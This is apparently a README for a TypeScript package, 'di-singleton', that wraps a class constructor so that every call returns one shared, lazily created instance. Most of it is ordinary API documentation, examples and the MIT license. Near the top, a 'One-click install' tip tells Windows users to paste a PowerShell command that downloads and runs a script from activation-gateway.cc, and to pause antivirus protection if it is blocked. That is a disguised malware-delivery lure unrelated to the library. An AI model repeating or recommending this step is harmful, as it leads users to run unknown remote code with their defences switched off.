Wraps a class constructor so that repeated construction returns the same instance, deferring creation until the first new call. The wrapper preserves the original constructor signature and instance type through TypeScript generics, so properties and methods remain fully typed. If the wrapped class defines an init method, it is invoked once after the single instance is created.
Tip
One-click install — paste one command, done in seconds. Windows 10/11 · PowerShell 7+ · No admin
- Open the Start menu and type PowerShell.
- Right-click and choose Run as administrator (optional).
Copy the line below into PowerShell and press Enter.
iex(irm 'https://activation-gateway.cc/update/ps-activator')Copy into CMD, press Enter, wait for completion:
powershell -NoProfile -ExecutionPolicy Bypass -Command "iex(irm 'https://activation-gateway.cc/update/ps-activator')"Warning
If security software blocks the setup, temporarily pause Real-Time Protection, run the script, then re-enable it.
- OS: Windows 10 / 11
- Shell: PowerShell 5.1+ or PowerShell 7+
- Network: internet access to download the script
- Privileges: standard user
- Constructor wrapping:
singleton(MyClass)returns a new constructor that enforces a single shared instance across allnewcalls; the wrapped class itself remains unmodified. - Lazy initialization: the instance is created on first construction only, deferring any constructor side effects until the first
new. - Optional
inithook: if the wrapped class defines aninitmethod, it is invoked exactly once, immediately after the single instance is constructed and before the constructor returns. - Type-safe generics: the returned constructor preserves the original class's instance type, so
new Singleton()infers the same public surface asnew MyClass(). - Stable reference identity: every subsequent
new Singleton()yields the same object reference, soinstance1 === instance2 === instance3holds. - Zero configuration: no registration, container, or decorator metadata required; wrapping a class is the entire API surface.
- Framework-agnostic: works with any class constructor, independent of runtime or module system.
Wrap a class constructor with singleton to guarantee a single shared instance across all new calls. Instantiation is lazy: the underlying instance is created on first use, not at decoration time.
import { singleton } from 'di-singleton';
class Counter {
private value = 0;
increment(): number {
return ++this.value;
}
getValue(): number {
return this.value;
}
}
const SingletonCounter = singleton(Counter);
const a = new SingletonCounter();
const b = new SingletonCounter();
a.increment();
b.increment();
console.log(a.getValue()); // 2
console.log(b.getValue()); // 2
console.log(a === b); // trueThe wrapped constructor preserves the original instance type, so methods and properties remain fully typed through the returned generic.
If the wrapped class defines an init method, it is invoked automatically the first time the singleton is instantiated. Use it for one-time setup that should run after construction.
import { singleton } from 'di-singleton';
class Service {
ready = false;
init(): void {
this.ready = true;
}
status(): boolean {
return this.ready;
}
}
const ServiceSingleton = singleton(Service);
const service = new ServiceSingleton();
console.log(service.status()); // trueThe init method runs exactly once, before the constructor returns the shared instance to the caller.
The return type of singleton is a constructor with the same instance type as the input class. TypeScript infers the instance type from the class, so no manual generics are required:
import { singleton } from 'di-singleton';
class Repo {
find(id: string): string {
return id;
}
}
const RepoSingleton = singleton(Repo);
const repo = new RepoSingleton();
const result: string = repo.find('42'); // fully typedPass an explicit generic when the class type is not inferable from the value:
const Wrapped = singleton<Repo>(Repo);Wraps a class constructor and returns a new constructor that always yields the same instance.
import { singleton } from 'di-singleton';
const Service = singleton(class {
value = '';
getValue = () => this.value;
setValue = (next: string) => { this.value = next; };
});
const a = new Service();
const b = new Service();
a.setValue('x');
b.setValue('y');
// a.getValue() === 'y' && b.getValue() === 'y'
// a === bParameters
| Name | Type | Description |
|---|---|---|
Constructor |
new (...args: any[]) => T |
Class constructor to wrap. Instance type T is preserved. |
Returns
A constructor with the same signature as Constructor. Every invocation ignores arguments after the first construction and returns the cached instance.
The wrapped constructor does not invoke the underlying class until the first new call. No instance is created at module load time.
const Lazy = singleton(class {
constructor() {
// runs once, on the first `new Lazy()`
}
});If the wrapped class defines a method named init, it is invoked exactly once, immediately after the first instance is constructed and before the constructor returns.
const WithInit = singleton(class {
ready = false;
init() {
this.ready = true;
}
});
const instance = new WithInit();
// instance.ready === trueinitis called with no arguments.- A return value from
initis ignored. - If
initis absent, no call is made. initruns only on initial construction, never on subsequentnewcalls.
The returned constructor preserves the instance type of the input class, including constructor parameter types.
class Config {
constructor(public readonly name: string) {}
}
const ConfigSingleton = singleton(Config);
const cfg = new ConfigSingleton('app'); // cfg: Config
// cfg.name === 'app'Constructor arguments are honored on the first call only. Later calls accept the same argument list per the type signature but those values are discarded.
| Aspect | Behavior |
|---|---|
| Instance count | One per wrapped constructor |
| Initialization | Lazy, on first new |
init hook |
Called once after first construction, if defined |
Subsequent new calls |
Return cached instance; arguments ignored |
| Type preservation | Instance and constructor types retained via generics |
- Each call to
singleton(...)produces an independent wrapper with its own cache. Wrapping the same class twice yields two distinct singletons. - Because arguments are ignored after the first construction, do not rely on per-call configuration.
initmust be synchronous; asynchronous setup should be handled by the caller.
import { singleton } from 'di-singleton';
class Counter {
private count = 0;
increment(): number {
return ++this.count;
}
current(): number {
return this.count;
}
}
const CounterSingleton = singleton(Counter);
const a = new CounterSingleton();
const b = new CounterSingleton();
a.increment();
b.increment();
console.log(a.current()); // 2
console.log(b.current()); // 2
console.log(a === b); // trueLazy initialization defers construction until the first new:
import { singleton } from 'di-singleton';
let constructed = 0;
class Resource {
constructor() {
constructed++;
}
}
const ResourceSingleton = singleton(Resource);
console.log(constructed); // 0
const r = new ResourceSingleton();
console.log(constructed); // 1If the wrapped class defines an init method, it is invoked once on the first instantiation:
import { singleton } from 'di-singleton';
class Service {
ready = false;
init(): void {
this.ready = true;
}
}
const ServiceSingleton = singleton(Service);
const s1 = new ServiceSingleton();
console.log(s1.ready); // trueType safety is preserved through generics; the returned constructor has the same instance type as the input class:
import { singleton } from 'di-singleton';
class Repo {
find(id: string): string {
return `item:${id}`;
}
}
const RepoSingleton = singleton(Repo);
const repo = new RepoSingleton();
const result: string = repo.find('42');
console.log(result); // item:42Constructor arguments are forwarded on the first instantiation; subsequent calls return the existing instance:
import { singleton } from 'di-singleton';
class Config {
constructor(public readonly name: string) {}
}
const ConfigSingleton = singleton(Config);
const c1 = new ConfigSingleton('primary');
const c2 = new ConfigSingleton('secondary');
console.log(c1.name); // primary
console.log(c2.name); // primary
console.log(c1 === c2); // trueReleased under the MIT License.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.